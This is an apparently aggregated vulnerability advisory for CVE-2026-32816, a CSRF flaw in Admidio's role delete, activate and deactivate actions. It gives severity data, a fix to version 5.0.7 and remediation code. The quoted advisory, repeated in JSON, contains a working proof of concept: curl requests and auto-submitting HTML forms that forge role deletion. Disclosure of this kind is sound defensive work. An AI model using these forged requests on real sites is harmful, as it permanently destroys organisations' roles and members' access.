CVE-2026-32816: Admidio/admidio Admidio Is Missing CSRF Validation Vulnerability

MODERATE
Advisory Identifier: GHSA-wwg8-6ffr-h4q2
CVSS 5.7
CWE-352
Published
Advisory Summary

CVE-2026-32816 is a MODERATE (CVSS 5.7) admidio is missing csrf validation vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio is missing csrf validation on role delete, activate, and deactivate actions. Remediation is available by upgrading affected packages to version 5.0.7.

CVE-2026-32816 at a Glance

CVE Identifier CVE-2026-32816
GHSA Identifier GHSA-wwg8-6ffr-h4q2
Severity MODERATE
CVSS v3.1 Base Score 5.7
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-32816

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.7
Upgrade admidio/admidio to 5.0.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32816, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `delete`, `activate`, and `deactivate` modes in `modules/groups-roles/groups_roles.php` perform destructive state changes on organizational roles but never validate an anti-CSRF token. The client-side UI passes a CSRF token to `callUrlHideElement()`, which includes it in the POST body, but the server-side handlers ignore `$_POST["adm_csrf_token"]` entirely for these three modes. An attacker who can discover a role UUID (visible in the public `cards` view when the module is publicly accessible) can embed a forged POST form on any external page and trick any user with the `rol_assign_roles` right into deleting or toggling roles for the organization. Role deletion is permanent and cascades to all memberships, event associations, and rights data. ## Details ### CSRF Token Is Sent but Never Validated File: `D:/bugcrowd/admidio/repo/modules/groups-roles/groups_roles.php`, lines 150-173 The `save` mode (lines 143-148) is CSRF-protected via `RolesService::save()` which calls `getFormObject($_POST["adm_csrf_token"])->validate()`. The `delete`, `activate`, and `deactivate` modes receive no equivalent protection: ```php case 'delete': // delete role from database $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); if ($role->delete()) { echo json_encode(array('status' => 'success')); } break; case 'activate': // set role active $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->activate(); echo 'done'; break; case 'deactivate': // set role inactive $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->deactivate(); echo 'done'; break; ``` The only input validated is `$getRoleUUID` at line 41, checked as a `'uuid'` type. This prevents SQL injection but provides no CSRF protection. ### Client-Side UI Passes Token; Server Ignores It File: `D:/bugcrowd/admidio/repo/system/js/common_functions.js`, lines 101-129 The presenter embeds the CSRF token into the JavaScript `callUrlHideElement()` call (GroupsRolesPresenter.php line 131). The function sends it in an AJAX POST body: ```javascript function callUrlHideElement(elementId, url, csrfToken, callback) { $.post(url, { "adm_csrf_token": csrfToken, // sent in POST body "uuid": elementId }, function(data) { ... }); } ``` The server-side handler reads `mode` from `$_GET` but never reads or validates `$_POST["adm_csrf_token"]` for `delete`, `activate`, or `deactivate`. An attacker omits the token field entirely; the server does not check for its presence. ### Who Can Be the CSRF Victim File: `D:/bugcrowd/admidio/repo/modules/groups-roles/groups_roles.php`, lines 49-54 ```php if ($getMode !== 'cards') { // only users with the special right are allowed to manage roles if (!$gCurrentUser->isAdministratorRoles()) { throw new Exception('SYS_NO_RIGHTS'); } } ``` `isAdministratorRoles()` maps to `checkRolesRight('rol_assign_roles')`. This is a delegated organizational right, not full system administrator (`isAdministrator()`) access. Any member granted the right to manage roles -- for example, a volunteer coordinator or chapter secretary -- is a valid CSRF victim. ### Role UUIDs Are Discoverable Without Authentication File: `D:/bugcrowd/admidio/repo/src/UI/Presenter/GroupsRolesPresenter.php`, line 84 ```php $templateRow['id'] = 'role_' . $role->getValue('rol_uuid'); ``` The `cards` mode (the default view) does not require the `rol_assign_roles` right and is publicly reachable when the module is enabled. Role UUIDs appear as HTML element IDs and in action data attributes in the page source. An unauthenticated visitor can collect all role UUIDs before staging the CSRF attack against a logged-in victim. ### Role::delete() Is Permanent and Cascading File: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 264-288 ```php $this->db->startTransaction(); // Remove all role dependency relationships $sql = 'DELETE FROM ' . TBL_ROLE_DEPENDENCIES . ' WHERE rld_rol_id_parent = ? OR rld_rol_id_child = ?'; $this->db->queryPrepared($sql, array($rolId, $rolId)); // Remove all memberships $sql = 'DELETE FROM ' . TBL_MEMBERS . ' WHERE mem_rol_id = ?'; $this->db->queryPrepared($sql, array($rolId)); // Disassociate all events linked to this role $sql = 'UPDATE ' . TBL_EVENTS . ' SET dat_rol_id = NULL WHERE dat_rol_id = ?'; $this->db->queryPrepared($sql, array($rolId)); // Remove all access-right entries for this role $sql = 'DELETE FROM ' . TBL_ROLES_RIGHTS_DATA . ' WHERE rrd_rol_id = ?'; $this->db->queryPrepared($sql, array($rolId)); ``` There is no soft-delete or recycle bin. Deletion permanently removes the role record, all memberships within it, all role dependency rules, and all per-module access rights granted to the role. ## PoC The attacker hosts the following HTML page and tricks a user with the `rol_assign_roles` right into visiting it while logged in to Admidio. **Step 1: Collect role UUIDs from the public cards view (no login required)** ``` curl "https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=cards" ``` Role UUIDs appear in the HTML source as element IDs (`id="role_<UUID>"`) and in action data attributes. **Step 2: Forge a deletion request (no CSRF token needed)** ``` curl -X POST \\ "https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=delete&role_uuid=ROLE_UUID" \\ -H "Cookie: ADMIDIO_SESSION_ID=victim_session" \\ -d "" ``` Expected response: `{"status":"success"}` The role, all its memberships, all event associations, and all access-right entries are permanently deleted. No `adm_csrf_token` field is required. **Step 3 (CSRF delivery -- attacker hosts externally)** ```html <!DOCTYPE html> <html> <body onload="document.getElementById('f').submit()"> <form id="f" method="POST" action="https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=delete&role_uuid=ROLE_UUID"> <!-- No adm_csrf_token field needed --> </form> </body> </html> ``` When any user with `rol_assign_roles` views this page while authenticated, the targeted role is permanently deleted without any confirmation from the victim. **Step 4 (Deactivate via CSRF -- disables a role without deleting it)** ```html <form id="f" method="POST" action="https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=deactivate&role_uuid=ROLE_UUID"> </form> ``` Deactivating a role removes all active members from the role and hides it, effectively revoking access for all members without destroying the role record. ## Impact - **Permanent Role Deletion:** A CSRF-triggered `delete` request irrecoverably removes the targeted role and all associated memberships, event links, and permission grants. There is no undo path other than a database restore. - **Mass Membership Revocation:** Every member of the deleted role loses their membership record simultaneously. Role membership in Admidio controls access to events, document folders, mailing lists, and custom profile-field visibility. - **Role State Manipulation:** An attacker can force `activate` or `deactivate` on any role. Deactivation silently strips access from an entire group without deleting the role record. - **Low Attack Surface Requirement:** The attacker only needs to trick a user with the delegated `rol_assign_roles` right -- not a full system administrator. Such users are common in organizations that delegate group management to department heads or committee chairs. - **UUID Pre-Collection Without Authentication:** Role UUIDs are harvested from the public cards view before the CSRF attack is staged, making target selection trivial. ## Recommended Fix Add `SecurityUtils::validateCsrfToken($_POST["adm_csrf_token"])` at the beginning of each vulnerable case, consistent with how other mutative actions in the codebase are protected. ```php // File: modules/groups-roles/groups_roles.php case 'delete': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); if ($role->delete()) { echo json_encode(array('status' => 'success')); } break; case 'activate': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->activate(); echo 'done'; break; case 'deactivate': SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); $role = new Role($gDb); $role->readDataByUuid($getRoleUUID); $role->deactivate(); echo 'done'; break; ``` Since `callUrlHideElement` already sends `adm_csrf_token` in the POST body, adding the server-side validation call is a one-line fix per case and requires no changes to the front-end JavaScript or templates.

CVE-2026-32816 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.7
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
≥ 5.0.0
< 5.0.7
5.0.7

References

Frequently Asked Questions

What is CVE-2026-32816?
CVE-2026-32816 is a security vulnerability in Admidio/admidio involving Admidio is Missing CSRF Validation on Role Delete, Activate, and Deactivate Actions under CWE-352: Cross-Site Request Forgery (CSRF).
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.7 across affected packages: admidio/admidio.
What version fixes CVE-2026-32816?
Upgrading to 5.0.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.7. Upgrade your dependency to 5.0.7 or later.
What is the CVSS score of CVE-2026-32816?
CVE-2026-32816 has a CVSS v3.1 base score of 5.7 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-32816?
CVE-2026-32816 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-32816?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wwg8-6ffr-h4q2",
  "modified" : "2026-03-20T21:15:34Z",
  "published" : "2026-03-16T21:17:09Z",
  "aliases" : [ "CVE-2026-32816" ],
  "summary" : "Admidio is Missing CSRF Validation on Role Delete, Activate, and Deactivate Actions",
  "details" : "## Summary\n\nThe `delete`, `activate`, and `deactivate` modes in `modules/groups-roles/groups_roles.php` perform destructive state changes on organizational roles but never validate an anti-CSRF token. The client-side UI passes a CSRF token to `callUrlHideElement()`, which includes it in the POST body, but the server-side handlers ignore `$_POST[\"adm_csrf_token\"]` entirely for these three modes. An attacker who can discover a role UUID (visible in the public `cards` view when the module is publicly accessible) can embed a forged POST form on any external page and trick any user with the `rol_assign_roles` right into deleting or toggling roles for the organization. Role deletion is permanent and cascades to all memberships, event associations, and rights data.\n\n## Details\n\n### CSRF Token Is Sent but Never Validated\n\nFile: `D:/bugcrowd/admidio/repo/modules/groups-roles/groups_roles.php`, lines 150-173\n\nThe `save` mode (lines 143-148) is CSRF-protected via `RolesService::save()` which calls `getFormObject($_POST[\"adm_csrf_token\"])->validate()`. The `delete`, `activate`, and `deactivate` modes receive no equivalent protection:\n\n```php\ncase 'delete':\n    // delete role from database\n    $role = new Role($gDb);\n    $role->readDataByUuid($getRoleUUID);\n    if ($role->delete()) {\n        echo json_encode(array('status' => 'success'));\n    }\n    break;\n\ncase 'activate':\n    // set role active\n    $role = new Role($gDb);\n    $role->readDataByUuid($getRoleUUID);\n    $role->activate();\n    echo 'done';\n    break;\n\ncase 'deactivate':\n    // set role inactive\n    $role = new Role($gDb);\n    $role->readDataByUuid($getRoleUUID);\n    $role->deactivate();\n    echo 'done';\n    break;\n```\n\nThe only input validated is `$getRoleUUID` at line 41, checked as a `'uuid'` type. This prevents SQL injection but provides no CSRF protection.\n\n### Client-Side UI Passes Token; Server Ignores It\n\nFile: `D:/bugcrowd/admidio/repo/system/js/common_functions.js`, lines 101-129\n\nThe presenter embeds the CSRF token into the JavaScript `callUrlHideElement()` call (GroupsRolesPresenter.php line 131). The function sends it in an AJAX POST body:\n\n```javascript\nfunction callUrlHideElement(elementId, url, csrfToken, callback) {\n    $.post(url, {\n        \"adm_csrf_token\": csrfToken,  // sent in POST body\n        \"uuid\": elementId\n    }, function(data) { ... });\n}\n```\n\nThe server-side handler reads `mode` from `$_GET` but never reads or validates `$_POST[\"adm_csrf_token\"]` for `delete`, `activate`, or `deactivate`. An attacker omits the token field entirely; the server does not check for its presence.\n\n### Who Can Be the CSRF Victim\n\nFile: `D:/bugcrowd/admidio/repo/modules/groups-roles/groups_roles.php`, lines 49-54\n\n```php\nif ($getMode !== 'cards') {\n    // only users with the special right are allowed to manage roles\n    if (!$gCurrentUser->isAdministratorRoles()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n}\n```\n\n`isAdministratorRoles()` maps to `checkRolesRight('rol_assign_roles')`. This is a delegated organizational right, not full system administrator (`isAdministrator()`) access. Any member granted the right to manage roles -- for example, a volunteer coordinator or chapter secretary -- is a valid CSRF victim.\n\n### Role UUIDs Are Discoverable Without Authentication\n\nFile: `D:/bugcrowd/admidio/repo/src/UI/Presenter/GroupsRolesPresenter.php`, line 84\n\n```php\n$templateRow['id'] = 'role_' . $role->getValue('rol_uuid');\n```\n\nThe `cards` mode (the default view) does not require the `rol_assign_roles` right and is publicly reachable when the module is enabled. Role UUIDs appear as HTML element IDs and in action data attributes in the page source. An unauthenticated visitor can collect all role UUIDs before staging the CSRF attack against a logged-in victim.\n\n### Role::delete() Is Permanent and Cascading\n\nFile: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 264-288\n\n```php\n$this->db->startTransaction();\n\n// Remove all role dependency relationships\n$sql = 'DELETE FROM ' . TBL_ROLE_DEPENDENCIES . ' WHERE rld_rol_id_parent = ? OR rld_rol_id_child = ?';\n$this->db->queryPrepared($sql, array($rolId, $rolId));\n\n// Remove all memberships\n$sql = 'DELETE FROM ' . TBL_MEMBERS . ' WHERE mem_rol_id = ?';\n$this->db->queryPrepared($sql, array($rolId));\n\n// Disassociate all events linked to this role\n$sql = 'UPDATE ' . TBL_EVENTS . ' SET dat_rol_id = NULL WHERE dat_rol_id = ?';\n$this->db->queryPrepared($sql, array($rolId));\n\n// Remove all access-right entries for this role\n$sql = 'DELETE FROM ' . TBL_ROLES_RIGHTS_DATA . ' WHERE rrd_rol_id = ?';\n$this->db->queryPrepared($sql, array($rolId));\n```\n\nThere is no soft-delete or recycle bin. Deletion permanently removes the role record, all memberships within it, all role dependency rules, and all per-module access rights granted to the role.\n\n## PoC\n\nThe attacker hosts the following HTML page and tricks a user with the `rol_assign_roles` right into visiting it while logged in to Admidio.\n\n**Step 1: Collect role UUIDs from the public cards view (no login required)**\n\n```\ncurl \"https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=cards\"\n```\n\nRole UUIDs appear in the HTML source as element IDs (`id=\"role_<UUID>\"`) and in action data attributes.\n\n**Step 2: Forge a deletion request (no CSRF token needed)**\n\n```\ncurl -X POST \\\\\n  \"https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=delete&role_uuid=ROLE_UUID\" \\\\\n  -H \"Cookie: ADMIDIO_SESSION_ID=victim_session\" \\\\\n  -d \"\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\nThe role, all its memberships, all event associations, and all access-right entries are permanently deleted. No `adm_csrf_token` field is required.\n\n**Step 3 (CSRF delivery -- attacker hosts externally)**\n\n```html\n<!DOCTYPE html>\n<html>\n<body onload=\"document.getElementById('f').submit()\">\n  <form id=\"f\" method=\"POST\"\n        action=\"https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=delete&role_uuid=ROLE_UUID\">\n    <!-- No adm_csrf_token field needed -->\n  </form>\n</body>\n</html>\n```\n\nWhen any user with `rol_assign_roles` views this page while authenticated, the targeted role is permanently deleted without any confirmation from the victim.\n\n**Step 4 (Deactivate via CSRF -- disables a role without deleting it)**\n\n```html\n<form id=\"f\" method=\"POST\"\n      action=\"https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=deactivate&role_uuid=ROLE_UUID\">\n</form>\n```\n\nDeactivating a role removes all active members from the role and hides it, effectively revoking access for all members without destroying the role record.\n\n## Impact\n\n- **Permanent Role Deletion:** A CSRF-triggered `delete` request irrecoverably removes the targeted role and all associated memberships, event links, and permission grants. There is no undo path other than a database restore.\n- **Mass Membership Revocation:** Every member of the deleted role loses their membership record simultaneously. Role membership in Admidio controls access to events, document folders, mailing lists, and custom profile-field visibility.\n- **Role State Manipulation:** An attacker can force `activate` or `deactivate` on any role. Deactivation silently strips access from an entire group without deleting the role record.\n- **Low Attack Surface Requirement:** The attacker only needs to trick a user with the delegated `rol_assign_roles` right -- not a full system administrator. Such users are common in organizations that delegate group management to department heads or committee chairs.\n- **UUID Pre-Collection Without Authentication:** Role UUIDs are harvested from the public cards view before the CSRF attack is staged, making target selection trivial.\n\n## Recommended Fix\n\nAdd `SecurityUtils::validateCsrfToken($_POST[\"adm_csrf_token\"])` at the beginning of each vulnerable case, consistent with how other mutative actions in the codebase are protected.\n\n```php\n// File: modules/groups-roles/groups_roles.php\n\ncase 'delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $role = new Role($gDb);\n    $role->readDataByUuid($getRoleUUID);\n    if ($role->delete()) {\n        echo json_encode(array('status' => 'success'));\n    }\n    break;\n\ncase 'activate':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $role = new Role($gDb);\n    $role->readDataByUuid($getRoleUUID);\n    $role->activate();\n    echo 'done';\n    break;\n\ncase 'deactivate':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    $role = new Role($gDb);\n    $role->readDataByUuid($getRoleUUID);\n    $role->deactivate();\n    echo 'done';\n    break;\n```\n\nSince `callUrlHideElement` already sends `adm_csrf_token` in the POST body, adding the server-side validation call is a one-line fix per case and requires no changes to the front-end JavaScript or templates.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.0.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-wwg8-6ffr-h4q2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32816"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T21:17:09Z",
    "nvd_published_at" : "2026-03-19T23:16:44Z"
  }
}